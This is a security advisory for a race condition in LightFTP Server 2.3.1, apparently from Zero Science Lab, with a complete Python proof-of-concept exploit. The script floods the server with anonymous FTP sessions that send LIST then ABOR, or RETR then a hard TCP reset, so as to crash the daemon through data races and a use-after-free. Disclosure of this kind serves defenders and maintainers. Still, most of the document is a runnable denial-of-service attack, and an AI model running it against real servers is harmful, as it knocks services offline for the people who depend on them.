zeroscience
ZSL Bot v4.89.1.00
Python:
#!/usr/bin/env python3
#
#
# LightFTP Server 2.3.1 Race Condition
#
#
# Vendor: LightFTP Project
# Product web page: https://github.com/hfiref0x/LightFTP
# Affected version: 2.3.1
#
# Summary: Small x86-32/x64 FTP Server.
#
# Desc: LightFTP 2.3.1 contains a residual race condition (an incomplete
# fix for CVE-2024-11144) in the worker_thread_cleanup() function of ftpserv.c.
# The control thread reads and acts on shared per-connection state, including
# the worker thread id it then passes to pthread_join()/pthread_cancel(),
# without holding the context->MTLock mutex that the worker threads use when
# updating that same state; and because the workers are detached, their thread
# id can be reused once they exit. A remote (anonymous) client triggers the
# window by starting a data-transfer command such as LIST and immediately
# issuing ABOR, running the unsynchronized cleanup while the worker is still
# finishing. ThreadSanitizer confirms multiple data races on the shared context
# and a mutex being destroyed while still in use, and the cleanup joins or
# cancels a detached, potentially reused thread id, which is undefined behavior
# that can destabilize or crash the daemon and result in denial of service.
# The 2.3.1 patch only narrowed the timing window (an extra re-check and
# reordered cleanup); it never added the missing lock, so the underlying
# race remains.
#
# Tested on: Kali Linux
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2026-6001
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6001
#
# CVE ID: CVE-2026-67607
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-67607
#
#
# 29.07.2026
#
import threading
import argparse
import struct
import socket
import time
_counter_lock = threading.Lock()
_rounds = 0
def _recv(sock, timeout=2.0):
sock.settimeout(timeout)
try:
return sock.recv(4096).decode("latin-1", "replace")
except OSError:
return ""
def _send(sock, line):
sock.sendall((line + "\r\n").encode())
def _pasv_port(resp):
try:
a = resp[resp.find("(") + 1: resp.find(")")].split(",")
if len(a) != 6:
return None
return (int(a[4]) << 8) + int(a[5])
except (ValueError, IndexError):
return None
def _hard_reset(sock):
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack("ii", 1, 0))
sock.close()
except OSError:
pass
def _one_round(args):
c = socket.create_connection((args.host, args.port), timeout=5)
_recv(c) # banner
_send(c, "USER " + args.user); _recv(c)
_send(c, "PASS " + args.password); _recv(c)
_send(c, "TYPE I"); _recv(c)
_send(c, "PASV")
dport = _pasv_port(_recv(c))
if not dport:
c.close()
return
d = socket.create_connection((args.host, dport), timeout=5)
if args.mode == "drop":
_send(c, "RETR " + args.file)
time.sleep(args.gap)
_hard_reset(c)
try:
d.close()
except OSError:
pass
else:
_send(c, "LIST")
time.sleep(args.gap)
_send(c, "ABOR")
try:
d.close()
except OSError:
pass
_recv(c, timeout=3)
try:
_send(c, "QUIT"); c.close()
except OSError:
pass
def session(args, tid):
global _rounds
for _ in range(args.iterations):
try:
_one_round(args)
with _counter_lock:
_rounds += 1
except OSError:
break
def main():
p = argparse.ArgumentParser(description=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter)
p.add_argument("--host", default="127.0.0.1")
p.add_argument("--port", type=int, default=2121)
p.add_argument("--user", default="anonymous")
p.add_argument("--password", default="x")
p.add_argument("--connections", type=int, default=16)
p.add_argument("--iterations", type=int, default=20)
p.add_argument("--gap", type=float, default=0.0,
help="seconds to let the worker run before ABOR / RST")
p.add_argument("--mode", choices=["abor", "drop"], default="abor",
help="abor: LIST+ABOR (data-race path). "
"drop: RETR a large file then RST the control "
"connection (use-after-free-of-ctx path).")
p.add_argument("--file", default="big.bin",
help="file to RETR in drop mode (make it large, server-side)")
a = p.parse_args()
print("[*] mode=%s racing %s:%d with %d connections x %d iterations"
% (a.mode, a.host, a.port, a.connections, a.iterations))
threads = [threading.Thread(target=session, args=(a, i))
for i in range(a.connections)]
t0 = time.time()
for t in threads:
t.start()
for t in threads:
t.join()
print("[+] completed %d rounds in %.1fs" % (_rounds, time.time() - t0))
print(" watch gdb for SIGSEGV/SIGABRT (drop mode targets use-after-free "
"of the stack ctx); a server crash is the positive result.")
if __name__ == "__main__":
main()
ZSL-2026-6001: LightFTP Server 2.3.1 Race Condition
ZSL-2026-6001: LightFTP Server 2.3.1 Race Condition